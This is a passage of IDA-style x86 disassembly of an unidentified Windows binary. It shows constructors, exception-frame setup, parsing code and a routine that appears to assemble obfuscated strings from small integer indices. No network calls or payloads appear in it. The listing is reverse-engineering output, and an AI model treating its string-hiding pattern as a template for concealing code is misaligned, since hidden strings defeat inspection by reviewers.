sub_13ABE87 push offset byte_446F80 lea ecx, [esp+484h+var_458] call sub_13ABC61 mov [esp+484h+var_10], 3 xor esi, esi lea edi, [esp+484h+var_414] loc_13AD991: ; CODE XREF: sub_13AD8E0+105j mov ebp, [edi] test ebp, ebp jz short loc_13AD9E7 lea ecx, [esp+484h+var_444] call sub_13ABA81 dec ebp push eax lea ecx, [esp+488h+var_42C] push ebp push ecx lea ecx, [esp+490h+var_474] call sub_13ABAAE mov ecx, eax mov [esp+490h+var_1C], 4 call sub_13ABBE4 push eax lea ecx, [esp+494h+var_468] call sub_13ABE9B lea ecx, [esp+494h+var_43C] mov [esp+494h+var_20], 3 call sub_13AB626 inc esi add edi, 4 cmp esi, 0FFh jb short loc_13AD991 loc_13AD9E7: ; CODE XREF: sub_13AD8E0+B5j mov esi, [esp+494h+var_18] lea edx, [esp+494h+var_46C] push edx mov ecx, esi call sub_13AB8C9 mov [esp+498h+var_48C], 1 lea ecx, [esp+498h+var_470] mov [esp+498h+var_24], 2 call sub_13AB626 lea ecx, [esp+498h+var_458] mov [esp+498h+var_24], 1 call sub_13AB626 lea ecx, [esp+498h+var_488] mov [esp+498h+var_24], 0 call sub_13AB626 mov ecx, [esp+498h+var_2C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_13AD8E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- nop ; --------------------------------------------------------------------------- db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13ADAB0 proc near ; CODE XREF: sub_13ABA81j mov eax, [ecx+9] retn sub_13ADAB0 endp ; --------------------------------------------------------------------------- nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13ADAD0 proc near ; CODE XREF: sub_13AB69Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 437EE0h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+9] call sub_13AC607 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_13AC607 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_13AC607 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_13AC607 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_13AC607 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_13AC607 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_13AC607 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_13AC607 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_13AC607 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_13AC607 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_13AC607 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_13AC607 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_13AC607 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_13AC607 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_13AC607 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_13AC607 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_13AC607 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_13AC607 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_13AC607 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_13AC607 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_13AC607 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_13AC607 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_13AC607 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_13AC607 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_13AC607 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_13AC607 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_13AC607 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_13AC607 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_13AC607 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_13AC607 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_13AC607 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_13AC607 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_13AC607 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_13AC607 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_13AC607 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_13AC607 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_13AC607 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_13AC607 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_13AC607 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_13AC607 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_13ABB49 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_13ABB49 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_13ABB49 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_13ABB49 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_13ABB49 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_13ABB49 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_13ABB49 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_13ABB49 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_13ABB49 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_13ABB49 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_13ABB49 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_13ABB49 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_13ABB49 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_13ABB49 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_13ABB49 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_13ABB49 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_13ABB49 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_13AB5A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_13AB5A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_13AB5A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_13AB5A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_13AB5A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13ADAD0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE000 proc near ; CODE XREF: sub_13AB423j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 437FC8h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13AE000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE070 proc near ; CODE XREF: sub_13AB5B3j mov eax, ecx mov dword ptr [eax], offset dword_43E004 retn sub_13AE070 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE090 proc near ; CODE XREF: sub_13AC607j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 437FF3h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB824 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13AE090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE110 proc near ; CODE XREF: sub_13ABED2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438023h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13AE110 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE190 proc near ; CODE XREF: sub_13ABB49j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438048h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB824 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13AB824 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13AE190 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE200 proc near ; CODE XREF: sub_13AB5A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 4380B9h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC607 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_13AC607 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_13AC607 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_13AC607 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_13AC607 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_13AC607 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_13AC607 lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_13AC607 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13AE200 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE2E0 proc near ; CODE XREF: sub_13AC46Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 438139h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_13ABED2 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_13ABED2 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_13ABED2 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_13ABED2 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_13ABED2 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABED2 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_13ABED2 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13ABED2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13AE2E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AE3C0 proc near ; CODE XREF: sub_13AC134j var_FC = byte ptr -0FCh var_E4 = byte ptr -0E4h var_D8 = byte ptr -0D8h var_CC = byte ptr -0CCh var_C0 = byte ptr -0C0h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_94 = dword ptr -94h var_90 = byte ptr -90h var_88 = dword ptr -88h var_84 = byte ptr -84h var_7C = dword ptr -7Ch var_78 = byte ptr -78h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_64 = dword ptr -64h var_60 = byte ptr -60h var_58 = dword ptr -58h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 4381E8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_13ABDB5 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_13ABBE4 lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 or edi, 0FFFFFFFFh lea ecx, [esp+6Ch+var_48] mov [esp+6Ch+var_10], edi call sub_13AB626 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+90h+var_48] push 2 push edx call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+70h+var_10], 1 call sub_13ABBE4 push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+78h+var_54] mov [esp+78h+var_1C], edi call sub_13AB626 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+94h+var_54] push 2 push ecx call sub_13ABDB5 add esp, 24h push esi mov ecx, eax mov [esp+7Ch+var_1C], 2 call sub_13ABBE4 lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+84h+var_60] mov [esp+84h+var_28], edi call sub_13AB626 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+0A4h+var_60] push 2 push eax call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+88h+var_28], 3 call sub_13ABBE4 lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+90h+var_6C] mov [esp+90h+var_34], edi call sub_13AB626 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+0B4h+var_6C] push 2 push edx call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+94h+var_34], 4 call sub_13ABBE4 push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+9Ch+var_78] mov [esp+9Ch+var_40], edi call sub_13AB626 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+0BCh+var_78] push 2 push ecx call sub_13ABDB5 add esp, 28h push esi mov ecx, eax mov [esp+0A0h+var_40], 5 call sub_13ABBE4 lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0A8h+var_84] mov [esp+0A8h+var_4C], edi call sub_13AB626 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+0D0h+var_84] push 2 push eax call sub_13ABDB5 add esp, 30h push esi mov ecx, eax mov [esp+0ACh+var_4C], 6 call sub_13ABBE4 lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0B4h+var_90] mov [esp+0B4h+var_58], edi call sub_13AB626 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+0CCh+var_90] push 2 push edx call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+0B8h+var_58], 7 call sub_13ABBE4 push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0C0h+var_9C] mov [esp+0C0h+var_64], edi call sub_13AB626 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+0D8h+var_9C] push 2 push ecx call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+0C4h+var_64], 8 call sub_13ABBE4 lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0CCh+var_A8] mov [esp+0CCh+var_70], edi call sub_13AB626 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+0E0h+var_A8] push 2 push eax call sub_13ABDB5 add esp, 1Ch push esi mov ecx, eax mov [esp+0D0h+var_70], 9 call sub_13ABBE4 lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0D8h+var_B4] mov [esp+0D8h+var_7C], edi call sub_13AB626 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+0ECh+var_B4] push 2 push edx call sub_13ABDB5 add esp, 1Ch push esi mov ecx, eax mov [esp+0DCh+var_7C], 0Ah call sub_13ABBE4 push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0E4h+var_C0] mov [esp+0E4h+var_88], edi call sub_13AB626 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+0F8h+var_C0] push 2 push ecx call sub_13ABDB5 add esp, 1Ch push esi mov ecx, eax mov [esp+0E8h+var_88], 0Bh call sub_13ABBE4 lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0F0h+var_CC] mov [esp+0F0h+var_94], edi call sub_13AB626 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+114h+var_CC] push 2 push eax call sub_13ABDB5 add esp, 2Ch push esi mov ecx, eax mov [esp+0F4h+var_94], 0Ch call sub_13ABBE4 push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+0FCh+var_D8] mov [esp+0FCh+var_A0], edi call sub_13AB626 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+114h+var_D8] push 2 push edx call sub_13ABDB5 add esp, 20h push esi mov ecx, eax mov [esp+100h+var_A0], 0Dh call sub_13ABBE4 push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+108h+var_E4] mov [esp+108h+var_AC], edi call sub_13AB626 lea ecx, [esi+9] call sub_13ABBE4 lea ecx, [esp+108h+var_FC] push eax push ecx call sub_13AC422 add esp, 8 push 0 push 25h push 1Dh push 23h lea edx, [esp+118h+var_E4] push 28h push edx mov [esp+120h+var_AC], 0Eh call sub_13ABDB5 add esp, 18h mov ebp, eax lea ecx, [esp+108h+var_FC] mov byte ptr [esp+108h+var_AC], 0Fh call sub_13ABBE4 push eax mov ecx, ebp call sub_13ABBE4 push eax push offset dword_4435F4 push offset byte_E19CC5 call sub_13AC20B add esp, 10h lea ecx, [esp+108h+var_E4] mov byte ptr [esp+108h+var_AC], 0Eh call sub_13AB626 push 20h lea eax, [esp+10Ch+var_CC] push 0 push eax lea ecx, [esp+114h+var_FC] call sub_13AB6B2 mov ecx, eax mov byte ptr [esp+114h+var_B8], 10h call sub_13ABBE4 push eax push offset dword_4435F0 push offset byte_E2AA95 call sub_13AB42D add esp, 0Ch mov byte ptr [esp+114h+var_B8], 0Eh lea ecx, [esp+114h+var_D8] call sub_13AB626 call GetTickCount ; GetTickCount mov ecx, eax mov eax, 10624DD3h mul ecx shr edx, 6 lea ecx, [esp+60h+var_54] mov [esi+5], edx mov [esp+60h+var_4], edi call sub_13AB626 mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn sub_13AE3C0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AEA40 proc near ; CODE XREF: sub_13ABE32j var_114 = dword ptr -114h var_F4 = byte ptr -0F4h var_F0 = byte ptr -0F0h var_E8 = byte ptr -0E8h var_E4 = byte ptr -0E4h var_DC = byte ptr -0DCh var_C8 = byte ptr -0C8h var_C4 = byte ptr -0C4h var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B0 = byte ptr -0B0h var_A8 = byte ptr -0A8h var_A0 = byte ptr -0A0h var_9C = byte ptr -9Ch var_98 = byte ptr -98h var_94 = dword ptr -94h var_90 = byte ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = byte ptr -80h var_7C = byte ptr -7Ch var_74 = byte ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_64 = dword ptr -64h var_60 = byte ptr -60h var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_13AEA40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_13AB86F mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_13AEA82 push ebx jmp short loc_13AEA86 ; --------------------------------------------------------------------------- loc_13AEA82: ; CODE XREF: sub_13AEA40+3Dj lea eax, [esi+15h] push eax loc_13AEA86: ; CODE XREF: sub_13AEA40+40j mov ecx, edi call sub_13AC3BE mov al, [esi+94h] test al, al jz short loc_13AEAA2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_13AC3BE loc_13AEAA2: ; CODE XREF: sub_13AEA40+55j mov al, [esi+95h] test al, al jz short loc_13AEB1F lea ecx, [esp+0A0h+var_74] call sub_13AB824 push offset dword_443604 mov ecx, esi mov [esp+0A4h+var_C], 0 call sub_13AB7E3 add eax, 3 lea edx, [esp+0A4h+var_60] push eax push edx mov ecx, esi call sub_13AC22E push eax lea ecx, [esp+0B0h+var_80] mov [esp+0B0h+var_18], 1 call sub_13AC3BE lea ecx, [esp+0B0h+var_6C] mov [esp+0B0h+var_1C], 0 call sub_13AB626 lea eax, [esp+0B0h+var_84] mov ecx, edi push eax call sub_13AC3BE lea ecx, [esp+0B4h+var_88] mov [esp+0B4h+var_20], 0FFFFFFFFh call sub_13AB626 loc_13AEB1F: ; CODE XREF: sub_13AEA40+6Aj push offset dword_443600 lea ecx, [esp+0B8h+var_88] push 0 push ecx mov ecx, esi call sub_13ABAAE lea edx, [esp+0C0h+var_7C] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0C8h+var_2C], ebx call sub_13AC22E lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+0CCh+var_34], 3 call sub_13AC3BE lea ecx, [esp+0CCh+var_88] mov byte ptr [esp+0CCh+var_38], bl call sub_13AB626 lea ecx, [esp+0CCh+var_A0] mov [esp+0CCh+var_38], 0FFFFFFFFh call sub_13AB626 push 0 lea ecx, [ebp+32Ch] call sub_13AB86F push 0 mov ecx, esi mov ebp, eax call sub_13AB86F mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_13AEDEA push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0F4h+var_88] push ebx push ecx call sub_13ABDB5 add esp, 30h mov ecx, eax mov [esp+0CCh+var_38], 4 call sub_13ABBE4 push eax mov ecx, edi call sub_13AB6EE test eax, eax jnz short loc_13AEC0F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0E8h+var_34], esp push edx call sub_13AB8C9 mov ecx, offset word_448CAE call sub_13AC0D0 test eax, eax jz short loc_13AEC0F mov bl, 1 jmp short loc_13AEC11 ; --------------------------------------------------------------------------- loc_13AEC0F: ; CODE XREF: sub_13AEA40+1A6j ; sub_13AEA40+1C9j xor bl, bl loc_13AEC11: ; CODE XREF: sub_13AEA40+1CDj lea ecx, [esp+0D0h+var_8C] mov [esp+0D0h+var_3C], 0FFFFFFFFh call sub_13AB626 test bl, bl jz loc_13AEDCE push offset dword_443600 lea eax, [esp+0D4h+var_8C] push 1 push eax mov ecx, esi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+0E0h+var_48], 5 call sub_13AB6EE test eax, eax lea ecx, [esp+0E0h+var_9C] mov [esp+0E0h+var_4C], 0FFFFFFFFh setz bl call sub_13AB626 test bl, bl jnz loc_13AEDEA push offset dword_443600 lea ecx, [esp+0E4h+var_9C] push 1 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0ECh+var_58], 6 call sub_13ABBE4 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+0ECh+var_A8] mov ebp, eax mov [esp+0ECh+var_58], 0FFFFFFFFh call sub_13AB626 test ebp, ebp jz loc_13AEDEA push 20h mov ecx, esi call sub_13AC120 lea edx, [esp+0F0h+var_DC] push eax push edx mov ecx, esi call sub_13AC22E mov ebx, 7 push 20h lea ecx, [esp+0FCh+var_E4] mov [esp+0FCh+var_64], ebx call sub_13AC120 push eax lea eax, [esp+100h+var_B8] push eax lea ecx, [esp+104h+var_E8] call sub_13AC22E push eax lea ecx, [esp+108h+var_F0] mov [esp+108h+var_70], 8 call sub_13AC40E lea ecx, [esp+108h+var_C4] mov [esp+108h+var_74], bl call sub_13AB626 lea ecx, [esp+108h+var_F4] push ecx mov ecx, esi call sub_13AC3BE push offset dword_443600 lea edx, [esp+110h+var_98] push 0 push edx mov ecx, esi call sub_13ABAAE lea ecx, [esp+118h+var_BC] push 1 push ecx mov ecx, eax mov [esp+120h+var_84], 9 call sub_13AC22E push eax mov ecx, edi mov [esp+124h+var_8C], 0Ah call sub_13AC3BE lea ecx, [esp+124h+var_C8] mov [esp+124h+var_90], 9 call sub_13AB626 lea ecx, [esp+124h+var_B0] mov [esp+124h+var_90], bl call sub_13AB626 mov al, [esp+124h+var_84] test al, al jnz short loc_13AEDA7 test ebp, ebp jle short loc_13AEDB8 loc_13AED98: ; CODE XREF: sub_13AEA40+363j mov ecx, [esp+124h+var_114] push esi call sub_13AC369 dec ebp jnz short loc_13AED98 jmp short loc_13AEDB8 ; --------------------------------------------------------------------------- loc_13AEDA7: ; CODE XREF: sub_13AEA40+352j test ebp, ebp jle short loc_13AEDB8 loc_13AEDAB: ; CODE XREF: sub_13AEA40+376j mov ecx, [esp+124h+var_114] push esi call sub_13AB842 dec ebp jnz short loc_13AEDAB loc_13AEDB8: ; CODE XREF: sub_13AEA40+356j ; sub_13AEA40+365j ... lea ecx, [esp+128h+var_114] mov [esp+128h+var_94], 0FFFFFFFFh call sub_13AB626 jmp short loc_13AEDEA ; --------------------------------------------------------------------------- loc_13AEDCE: ; CODE XREF: sub_13AEA40+1E7j mov al, [esp+0D0h+var_30] mov ecx, [esp+0D0h+var_C0] test al, al push esi jnz short loc_13AEDE5 call sub_13AC369 jmp short loc_13AEDEA ; --------------------------------------------------------------------------- loc_13AEDE5: ; CODE XREF: sub_13AEA40+39Cj call sub_13AB842 loc_13AEDEA: ; CODE XREF: sub_13AEA40+162j ; sub_13AEA40+232j ... mov ecx, [esp+0D4h+var_48] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_13AEA40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13AEF10 proc near ; CODE XREF: sub_13AC369j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_448CB2 call sub_13AB8D3 mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jz short loc_13AEF56 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov 